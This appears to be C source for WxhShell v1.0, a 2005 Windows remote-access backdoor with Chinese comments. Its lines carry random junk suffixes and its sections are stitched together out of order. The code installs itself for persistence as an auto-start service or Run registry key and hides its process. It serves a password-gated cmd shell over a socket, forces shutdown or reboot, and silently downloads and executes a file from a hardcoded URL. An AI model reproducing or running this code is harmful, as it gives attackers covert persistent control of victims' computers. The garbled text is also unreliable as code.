  case 'd': { K y4y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O/^w! :z'  
    if(Boot(SHUTDOWN)) l/UG+7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _>m*`:Wb  
    else { :lQjy@J  
    closesocket(wsh); ^-;Z8M  
    ExitThread(0); jp]geV54  
    } #DRt Mrfat  
    break; gwz _b  
    } f -nC+   
  // 获取shell wXZY5-h4  
  case 's': { k Z[yv  
    CmdShell(wsh); E0Y/N?  
    closesocket(wsh); 99>yaW  
    ExitThread(0); Jc?ssm\%  
    break; rtF6Lg  
  } f vM3.P  
  // 退出 +sluu!~  
  case 'x': { ~S>ba']  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /aa;M*Qp  
    CloseIt(wsh); BrcXn@tl  
    break; S^VV^O5 ^  
    } KdpJ[[Ug/  
  // 离开 9qy 9  
  case 'q': { eRy'N|'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P W<wjf,rQ  
    closesocket(wsh); Q4 :r$ &  
    WSACleanup(); P]x+Q  
    exit(1); OjEA;;qq  
    break; LHz<=]?@  
        } H 7F~+ Q-}  
  } >qvD3 9w  
  } ~ A|*]0,  
j77}{5@p  
  // 提示信息 FOG+[v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G&3<rT3Ib  
} 3'e 4{  
  } #7T={mh  
hD"~ ^  
  return; , tj7'c$0  
} L^s;kkB  
8J1.(Mwb?  
// shell模块句柄 @BhAFv,7  
int CmdShell(SOCKET sock) IE f^.Z  
{ : {Z^ _;Tf  
STARTUPINFO si; p&l:937  
ZeroMemory(&si,sizeof(si)); k $&A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q^w]Nj(e_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BVp.A]  
PROCESS_INFORMATION ProcessInfo; K3D $ hb  
char cmdline[]="cmd"; '+zsj0!A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kxwm08/|f  
  return 0; 97dI4 t<  
} .WE0T|qDX  
D}3fx[  
// 自身启动模式 (Fd4Gw<sq  
int StartFromService(void) OR8o%AxL7  
{ Z+4Oa f!  
typedef struct dS=,. }  
{ LXV6Ew5E  
  DWORD ExitStatus; =ApT#*D)o  
  DWORD PebBaseAddress; *60)Vo.=  
  DWORD AffinityMask; ".<p R} qp  
  DWORD BasePriority; e'&{KD,-T  
  ULONG UniqueProcessId; rP4@K%F9jB  
  ULONG InheritedFromUniqueProcessId; 9ksrr{tW  
}   PROCESS_BASIC_INFORMATION; BZshTP[`  
5xUPqW%3  
PROCNTQSIP NtQueryInformationProcess; y<(.,Nb8  
;f~'7RKy!G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %TgM-F,8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Bw"VN]W  
vy?YA-  
  HANDLE             hProcess; e5KF~0`  
  PROCESS_BASIC_INFORMATION pbi; Sn&%epi  
Y|nTc.A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eqCB2u"Jq  
  if(NULL == hInst ) return 0; R"([Y#>m  
}2oJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O 9)8a]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bx >@HU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z Uv_u6aD  
6^Vf 5W{  
  if (!NtQueryInformationProcess) return 0; M-|2W~YU  
V=~dgy ~@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [?*^&[  
  if(!hProcess) return 0; mJ7kOQ-.$  
B=`!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yg.u8{H  
+8I0.,'  
  CloseHandle(hProcess); }3lF;k(2g  
69yyVu_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); blv6  
if(hProcess==NULL) return 0; f}eVfAf  
h%S#+t(Bf  
HMODULE hMod; -wRzMT19MG  
char procName[255]; d*HAKXd&:j  
unsigned long cbNeeded; JH#+E04#  
k<H&4Z)d9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @("AkYPj  
cgOoQP/#  
  CloseHandle(hProcess); K? k`U,  
FG\?_G  
if(strstr(procName,"services")) return 1; // 以服务启动 +%v4Ci"%y  
,#l oVLy  
  return 0; // 注册表启动 WcFZRy-erc  
} ! +7ve[z  
HfPeR8I%i  
// 主模块 "RA$Twhj  
int StartWxhshell(LPSTR lpCmdLine) OQvJdjST  
{ n0q(EQy1U  
  SOCKET wsl; lc7]=,qyF  
BOOL val=TRUE; qa0Zgn5q  
  int port=0; H l@rS  
  struct sockaddr_in door; b}*hodzF  
'C<=bUM  
  if(wscfg.ws_autoins) Install(); p?@D'  
GkFNLM5'  
port=atoi(lpCmdLine); V-3]h ba,  
?M2@[w8_  
if(port<=0) port=wscfg.ws_port; ?dYDfyFfB  
[-ecKPx  
  WSADATA data; ]\lw^.%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E?uv&evPK7  
CjGI}t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A )cb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HZ3<}`P_W  
  door.sin_family = AF_INET; i1C'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <0m;|Ai'W  
  door.sin_port = htons(port); R?Qou!*]  
):@B1 yR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { psVRdluS   
closesocket(wsl); 1rC'sfz  
return 1; 76/%Py|  
} , +^db)  
x!+ a,+G  
  if(listen(wsl,2) == INVALID_SOCKET) { -j,o:ng0  
closesocket(wsl); }1wuH  
return 1; I_rVeMw=  
} Fz% n!d  
  Wxhshell(wsl); XEI]T~  
  WSACleanup(); ( 9l|^w["  
K]l) z* I  
return 0; plq\D.C  
14R))Dz"  
} r[~$  
&AVi4zV  
// 以NT服务方式启动 qz&)|~,\C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0% /M& N  
{ "oQ@.]-#  
DWORD   status = 0; ZSNg^)cN  
  DWORD   specificError = 0xfffffff; Z"jo xZ  
$&!U&uMt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tp7?:YY|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .(-3L9T}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sy_M!`B  
  serviceStatus.dwWin32ExitCode     = 0; 7vFqO;  
  serviceStatus.dwServiceSpecificExitCode = 0; ;1nd~0o  
  serviceStatus.dwCheckPoint       = 0; q,GL#L  
  serviceStatus.dwWaitHint       = 0; )r~Oj3TH  
OsXQWSkj~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >/*\x g&J  
  if (hServiceStatusHandle==0) return; <#UvLll  
`t -3(>P  
status = GetLastError(); 7o<RvM  
  if (status!=NO_ERROR) ;/.ZYTD  
{ ~U|te_l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @WmB0cc_  
    serviceStatus.dwCheckPoint       = 0; JpDkf$kM  
    serviceStatus.dwWaitHint       = 0; ! [X<>  
    serviceStatus.dwWin32ExitCode     = status; X {$gdz8S9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1X5\VY>S`h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;k0*@c*  
    return; fOJyY[  
  } So:89T  
B06/mKZ7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y}VKFRky  
  serviceStatus.dwCheckPoint       = 0; iq#Z\Y(  
  serviceStatus.dwWaitHint       = 0; T1E=<q4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (:1 j-  
} Vk"QcW  
= 4If7  
// 处理NT服务事件,比如:启动、停止 [,dsV d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :MVD83?4  
{ a'Z"Yz^Eo  
switch(fdwControl) ktCh*R[`  
{ ~VOmMw4HV  
case SERVICE_CONTROL_STOP: G4i&:0  
  serviceStatus.dwWin32ExitCode = 0; 4{Iz\:G:{/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n;U|7it7  
  serviceStatus.dwCheckPoint   = 0; 3Wiu`A  
  serviceStatus.dwWaitHint     = 0; K"#}R<k8:A  
  { zri<'W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S%4 K-I  
  } nT>?}/S  
  return; pr2d}~q4{  
case SERVICE_CONTROL_PAUSE: AXyuXB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SG~R!kN}Q  
  break; fKfi   
case SERVICE_CONTROL_CONTINUE: ,O2F}5|;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;23F8M%wH  
  break; /mb| %U]~  
case SERVICE_CONTROL_INTERROGATE: *M="k 1P1  
  break; g%Z;rDfi  
}; <ANKoPNie  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R:E`  
} O/Fzw^  
vn8Ez6<27  
// 标准应用程序主函数 qRUz;M4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yoH6g?!O  
{ 4avM:h  
j_}e%,}  
// 获取操作系统版本 dCHU* 7DS  
OsIsNt=GetOsVer(); olqHa5qn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0zd1:*KR,  
i@2?5U>h  
  // 从命令行安装 |y]#-T?)t  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Ee8s]h5W  
%>f:m!.  
  // 下载执行文件 csC3Wm{v  
if(wscfg.ws_downexe) { Z5+0?X0i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ISl'g'o  
  WinExec(wscfg.ws_filenam,SW_HIDE); a^2?W  
} \^+sgg{  
Rzb] mM  
if(!OsIsNt) { S4Rv6{r:  
// 如果时win9x,隐藏进程并且设置为注册表启动 (]ORB0kl  
HideProc(); znM"P|A  
StartWxhshell(lpCmdLine); S\C   
} W>"i0p  
else RGiA>Z:W  
  if(StartFromService()) n_aKciF  
  // 以服务方式启动 (Yx rZ_F'b  
  StartServiceCtrlDispatcher(DispatchTable); vs.q<i-u  
else OvFZ&S[  
  // 普通方式启动 39OZZaWL  
  StartWxhshell(lpCmdLine); *P_TG"^{W  
-X |G  
return 0; 43/|[  
} ]Z~H9!%t  
`0sa94H1[  
IlwY5iL  
E_xpq  
=========================================== mFvw s  
H}:apRb  
3&}wfK]X  
/_LUys/0  
~2pctqMA  
>iq^Ts  
" ?^yZVmAo]  
I3SLR  
#include <stdio.h> *u-TNg  
#include <string.h>  yXDf;`J  
#include <windows.h> c=ZX7U  
#include <winsock2.h> E;h#3 B9  
#include <winsvc.h> Q.!8q3`  
#include <urlmon.h> ^*iZN =\  
Gs-'  
#pragma comment (lib, "Ws2_32.lib") \ Xuu|]  
#pragma comment (lib, "urlmon.lib") j88H3bi0  
7)[4|I  
#define MAX_USER   100 // 最大客户端连接数 iX4/;2B=,  
#define BUF_SOCK   200 // sock buffer 9m<>G3Jr  
#define KEY_BUFF   255 // 输入 buffer )2\6 Fy0S  
N 4Dyec\  
#define REBOOT     0   // 重启 u%&zY97/  
#define SHUTDOWN   1   // 关机 w;X-i.%`  
WhvO-WF  
#define DEF_PORT   5000 // 监听端口 `/#6k>  
E9 |i:  
#define REG_LEN     16   // 注册表键长度 h8nJ$jg  
#define SVC_LEN     80   // NT服务名长度 5^tL#  
+lE 9*Gs_$  
// 从dll定义API yaeX-'(Fv[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k{9s>l~'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5HmX-+XpK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xmtq~}K>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7XdLZ4ub  
hMi[MB7~  
// wxhshell配置信息 xHI>CNC,  
struct WSCFG { D7 .R NXo  
  int ws_port;         // 监听端口 @v|_APy#  
  char ws_passstr[REG_LEN]; // 口令 YT#" HYO  
  int ws_autoins;       // 安装标记, 1=yes 0=no `57ffQR9  
  char ws_regname[REG_LEN]; // 注册表键名 514;!Q4K  
  char ws_svcname[REG_LEN]; // 服务名 aN.Phn:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c>I^SY(r%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mw.9cDf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JgEpqA12  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qdzc"-gH`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DUa`8cE}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2TY|)ltsF  
K47W7zR  
}; (]rtBeT  
%<K`d  
// default Wxhshell configuration c^I_~OwaE  
struct WSCFG wscfg={DEF_PORT, voCQ_~*)9  
    "xuhuanlingzhe", DN!:Rm uc  
    1, 'kPShZS$b  
    "Wxhshell", ?/NxZ\  
    "Wxhshell", '%kk&&3'  
            "WxhShell Service", RBiDU}j  
    "Wrsky Windows CmdShell Service", GtbI w  
    "Please Input Your Password: ", entO"~*EX  
  1, C 2FewsRz  
  "http://www.wrsky.com/wxhshell.exe", HJM-;C](  
  "Wxhshell.exe" ]*Zg(YA  
    }; jF{zcYU  
Z&YW9de@  
// 消息定义模块 u|APx8?"o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N }Z"$4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {B uh5U,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )9J&M6LX  
char *msg_ws_ext="\n\rExit."; H<g- Bhv  
char *msg_ws_end="\n\rQuit."; Ql!$e&A|l  
char *msg_ws_boot="\n\rReboot..."; d:Wh0y}  
char *msg_ws_poff="\n\rShutdown..."; @ScH"I];uA  
char *msg_ws_down="\n\rSave to "; Id|38   
1+v)#Wj  
char *msg_ws_err="\n\rErr!"; ;L++H5Kz6  
char *msg_ws_ok="\n\rOK!"; Kp8!^os  
;E(%s=i  
char ExeFile[MAX_PATH]; <Sb W QbN  
int nUser = 0; $D\SueZ  
HANDLE handles[MAX_USER]; G5?Dt-;I  
int OsIsNt; wSnY;Z9W_  
@~xNax&^  
SERVICE_STATUS       serviceStatus; 4)i/B99k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /N]?>[<NW  
Tw);`&Ulo  
// 函数声明 PO ]z'LD  
int Install(void); cYq<.A(hVj  
int Uninstall(void); z^O>'9#  
int DownloadFile(char *sURL, SOCKET wsh); jv?`9{-  
int Boot(int flag); T)qD}hl  
void HideProc(void); ~~]L!P  
int GetOsVer(void); PL[7|_%  
int Wxhshell(SOCKET wsl); 1\TXb!OtL  
void TalkWithClient(void *cs); kuqf(  
int CmdShell(SOCKET sock); RL SP?o2J  
int StartFromService(void); +m]$P,yMt  
int StartWxhshell(LPSTR lpCmdLine); St^s"A  
(s z=IB ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7xz|u\?_2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?(n|ykXwc  
la[xbv   
// 数据结构和表定义 [0w @0?[  
SERVICE_TABLE_ENTRY DispatchTable[] = `c ^2  
{ }L3kpw  
{wscfg.ws_svcname, NTServiceMain}, N{ @B@]  
{NULL, NULL} D<]z.33  
}; -P^ 6b(  
nPD5/xW  
// 自我安装 rB~x]5TH  
int Install(void) 6$lj$8\  
{ 4&2aJ_ 2 y  
  char svExeFile[MAX_PATH]; &+u) +<&;(  
  HKEY key; *am.NH\  
  strcpy(svExeFile,ExeFile); F$N"&<[c  
Wf +j/RxTi  
// 如果是win9x系统,修改注册表设为自启动 bO^#RVH  
if(!OsIsNt) { 5VDqx@(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %tT&/F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5^~%10=  
  RegCloseKey(key); |x3.r t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gcna:w>6d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qe8dpI;  
  RegCloseKey(key); OEnJ".&V  
  return 0; 7aj|-gZ  
    } M1^,g~e  
  } )4vZIU#  
} 9s8B>(L  
else { prV:Kq;O  
%qfql  
// 如果是NT以上系统,安装为系统服务 R_e{H^pY^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PMebn$(  
if (schSCManager!=0) ^F"Q~?D)  
{ Fc% @  
  SC_HANDLE schService = CreateService > SU2Jw  
  ( W9D]s~bO;  
  schSCManager, ?6P P_QY  
  wscfg.ws_svcname, QWp,(Mv:r  
  wscfg.ws_svcdisp, VImcW;Xa  
  SERVICE_ALL_ACCESS, X>(?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N{U``LV  
  SERVICE_AUTO_START, v}q3_m]   
  SERVICE_ERROR_NORMAL, I ww.Nd2  
  svExeFile, gNY}`'~hr  
  NULL, P,^`|\#7  
  NULL, u=JI 1  
  NULL, RcIGIt  
  NULL, t."hAvRL  
  NULL %"Q{|}  
  ); gJ6 C&8tl  
  if (schService!=0) F:"<4hiA"  
  { a;jXMR  
  CloseServiceHandle(schService); /B73|KB+  
  CloseServiceHandle(schSCManager); _h", ,"p#o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g} 7FR({b  
  strcat(svExeFile,wscfg.ws_svcname); sDL@e33Yb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9tvLj5~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [XK Ke  
  RegCloseKey(key); TR/'L!EE  
  return 0; {%.FIw k  
    } f0]8/)  
  } _C$JO   
  CloseServiceHandle(schSCManager); sS/#)/B  
} @.T(\Dq^  
} `OO=^.-u  
@5+ JXD  
return 1; ]:m>pI*z.  
} K<'L7>s3lA  
|-GmWSK_  
// 自我卸载 mZDL=p  
int Uninstall(void) 6Y<'Lyg/  
{ _R-[*ucq  
  HKEY key; L5=Tj4`  
{KYbsD  
if(!OsIsNt) { !{tkv4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,y@`wq>O  
  RegDeleteValue(key,wscfg.ws_regname); >Ng7q?h   
  RegCloseKey(key); a "uO0LOb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gmkD'CX*A  
  RegDeleteValue(key,wscfg.ws_regname); )y&}c7xW  
  RegCloseKey(key); &"]Uh   
  return 0; {Bk9]:'$5  
  } H-$)@  
} y1z<{'2x  
} T|dQY~n~  
else { ICwhqH&  
1sKKmtgH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b<o Uy  
if (schSCManager!=0) ,&[2z!  
{ 9Ps[i)-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ihivJ Z  
  if (schService!=0) *<?or"P  
  { $ K1 /^  
  if(DeleteService(schService)!=0) { R?@F%J;tx  
  CloseServiceHandle(schService); *IL x-D5qr  
  CloseServiceHandle(schSCManager); h$7rEs  
  return 0; oxT..=-  
  } k9H7(nS{  
  CloseServiceHandle(schService); ~"F83+RDe  
  } CMn&1  
  CloseServiceHandle(schSCManager); | d}f\a`  
} dXR 70/  
} .zxP,]"l  
aVsA5t\zi  
return 1; ip6$Z3[)  
} RSEo'2  
" '/:Tp)  
// 从指定url下载文件 ljg2P5  
int DownloadFile(char *sURL, SOCKET wsh) ;O` \rP5w  
{ s *$Re)}S  
  HRESULT hr; JRQ{Q"`)  
char seps[]= "/"; 0ant0<  
char *token; Fr/3Qp@S  
char *file; ? ->:,I=<~  
char myURL[MAX_PATH]; dm;H0v+Y'  
char myFILE[MAX_PATH]; J!r,ktO^U?  
ivL}\~L  
strcpy(myURL,sURL); 5y]1v  
  token=strtok(myURL,seps); OL+dx`Y  
  while(token!=NULL) 3J t_=!qlo  
  { U(#)[S,  
    file=token; eHr|U$Rpo  
  token=strtok(NULL,seps); oL?(; `"&  
  } ? tre)  
+%vBDcf  
GetCurrentDirectory(MAX_PATH,myFILE); +c&n7  
strcat(myFILE, "\\"); BZAeg">3  
strcat(myFILE, file); 6f1%5&si  
  send(wsh,myFILE,strlen(myFILE),0); Fl{:aq"3  
send(wsh,"...",3,0); u;1/.`NPB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V/w:^@5+p  
  if(hr==S_OK) Exir?G}\  
return 0; 3exv k  
else D4 {?f<G0F  
return 1; "JI FF_  
`CCuwe<v  
} aRFLh  
 !]]QbB  
// 系统电源模块 ;M,u,KH)/  
int Boot(int flag) C? pi8Xg  
{ +-_71rJc.  
  HANDLE hToken; -"J6 |Y#8  
  TOKEN_PRIVILEGES tkp; {z)&=v@  
u{Jv6K,  
  if(OsIsNt) { cI}qMc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W_k;jy_{9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4.]xK2sW  
    tkp.PrivilegeCount = 1; m\a_0!K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R? aE:\A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,#=ykg*~/  
if(flag==REBOOT) { 'u@_4wWp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K:PzR,nn  
  return 0; scmn-4j'{  
} [e1kfw  
else { Hg)5c!F7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l#7].-/  
  return 0; G dZ_  
} ua$H"(#c  
  } }1]E=!?)&  
  else { :eaqUW!Y  
if(flag==REBOOT) { 3w&fN3 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) En&bwLu:s  
  return 0; f:$LVpXS-  
} T3po.Km\{  
else { :1%z;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t;BvKH77  
  return 0; ENu`@S='I3  
} Be"Swz(n  
} QuuR_Ao?c'  
|ocIp/ $  
return 1; (qn ;MN6<  
} x!\FB.h4!(  
|~'D8 g:Ak  
// win9x进程隐藏模块 -rE_pV;  
void HideProc(void) } sTo,F$  
{ u<8 f ;C_  
s|3@\9\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]8,:E ]`O  
  if ( hKernel != NULL ) B35zmFX|}N  
  { 9G8n'jWyY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cY/!z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jO'+r'2B9  
    FreeLibrary(hKernel); 3/ sKRU  
  } x+~IXi>Ig  
|12Cg>;j*n  
return; g@WGd(o0)  
} ">b~k;M?  
>FtW~J"X  
// 获取操作系统版本 C N9lK29F)  
int GetOsVer(void) m9*Lo[EXO  
{ - w41Bvz0  
  OSVERSIONINFO winfo; o`^GUY}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H^jFvAI,8  
  GetVersionEx(&winfo); (s?`*i:2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EZvB#cuL-  
  return 1; ] iKFEd  
  else BKoc;20;  
  return 0; 1FfdW>ay*  
} $V"NB`T  
qX'w}nJ}H}  
// 客户端句柄模块 TmS;ybsG  
int Wxhshell(SOCKET wsl) aQax85  
{ _Q<wb8+/  
  SOCKET wsh; x<) %Gs}tb  
  struct sockaddr_in client; S312h'K j  
  DWORD myID; ,#^<0u+zrF  
COS(pfC  
  while(nUser<MAX_USER) yQwj [  
{ A`4Di8'Me  
  int nSize=sizeof(client); KMz\h2X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |_l\.  
  if(wsh==INVALID_SOCKET) return 1; >V~q`htth  
@Z$`c{V<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @_0 g "Ul  
if(handles[nUser]==0) lD09(|`  
  closesocket(wsh); D .3Q0a6  
else i<D}"h|  
  nUser++; %hK?\Pg3=E  
  } NN5V|# P}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &s!"pEZWck  
]2n&DJu  
  return 0; t+0&B"  
} f~Dl;f~H_;  
cvn4Q-^  
// 关闭 socket xG<H${ k;  
void CloseIt(SOCKET wsh) :"ZH  
{ u>;#.N/  
closesocket(wsh); S=O/W(ZB  
nUser--; -&Fxg>FrYb  
ExitThread(0); 2G"mm (   
} U*8;ZXi  
? WWnt^  
// 客户端请求句柄 Kq/W-VyGh  
void TalkWithClient(void *cs) ]UnZc  
{ Xu#\CYk  
gF% lwq  
  SOCKET wsh=(SOCKET)cs; L1u  
  char pwd[SVC_LEN]; Auhw(b>}TW  
  char cmd[KEY_BUFF]; w<_.T#  
char chr[1]; fys@%PZq  
int i,j; qs6yEuh#  
<!:,(V>F(C  
  while (nUser < MAX_USER) { 8k'UEf`'(  
Z,o*M#}  
if(wscfg.ws_passstr) { c L*D_)?8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ssW+'GD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6w K=  
  //ZeroMemory(pwd,KEY_BUFF); -tT{h 4  
      i=0; ,=l MtW  
  while(i<SVC_LEN) { ^DHFP-G?e  
L>{E8qv>w  
  // 设置超时 [!{*)4$6  
  fd_set FdRead; 64}Oa+*s  
  struct timeval TimeOut; M;W{A)0i1  
  FD_ZERO(&FdRead); 9\*xK%T+  
  FD_SET(wsh,&FdRead); Cog Lo&.  
  TimeOut.tv_sec=8; =mCUuY#  
  TimeOut.tv_usec=0; j'-akXo<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c=H(*#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VL"ZC:n)-  
sSOI5W3A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +-,Q>`  
  pwd=chr[0]; IoNZ'g?d  
  if(chr[0]==0xd || chr[0]==0xa) { T3['6%  
  pwd=0; 3y>.1  
  break; u*[,W-R&  
  } KtHh--j`  
  i++; D_O%[u}  
    } D0PP   
U;Hu:q*  
  // 如果是非法用户,关闭 socket H;s0|KRgJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]M{SM`Ya  
} }Evyfc#D  
fl~k')s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V~5vVY_HG&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ))!Z2PfD  
%Ua*}C   
while(1) { D`e!CprF  
>8SX,  
  ZeroMemory(cmd,KEY_BUFF); N##T1 Qm)  
=KNg "|  
      // 自动支持客户端 telnet标准    <_MQC  
  j=0; %-]j;'6}cX  
  while(j<KEY_BUFF) { !'ajpK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@j?7%_8  
  cmd[j]=chr[0]; @okC":Fw,  
  if(chr[0]==0xa || chr[0]==0xd) { .eXIbd<C  
  cmd[j]=0; ".v9#|  
  break; e`R*6^e  
  } i>T{s-3v  
  j++; I Jq$GR  
    } !`,6E`Y#  
c@ En4[a'  
  // 下载文件 * ok89 ad  
  if(strstr(cmd,"http://")) { ] V]~I.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X =S;8=N  
  if(DownloadFile(cmd,wsh)) gq[}/E0e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rjo6Pd{d<  
  else Du$kDCU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ ;Hj,z\  
  } 5#d"]7  
  else { rf;R"Uc  
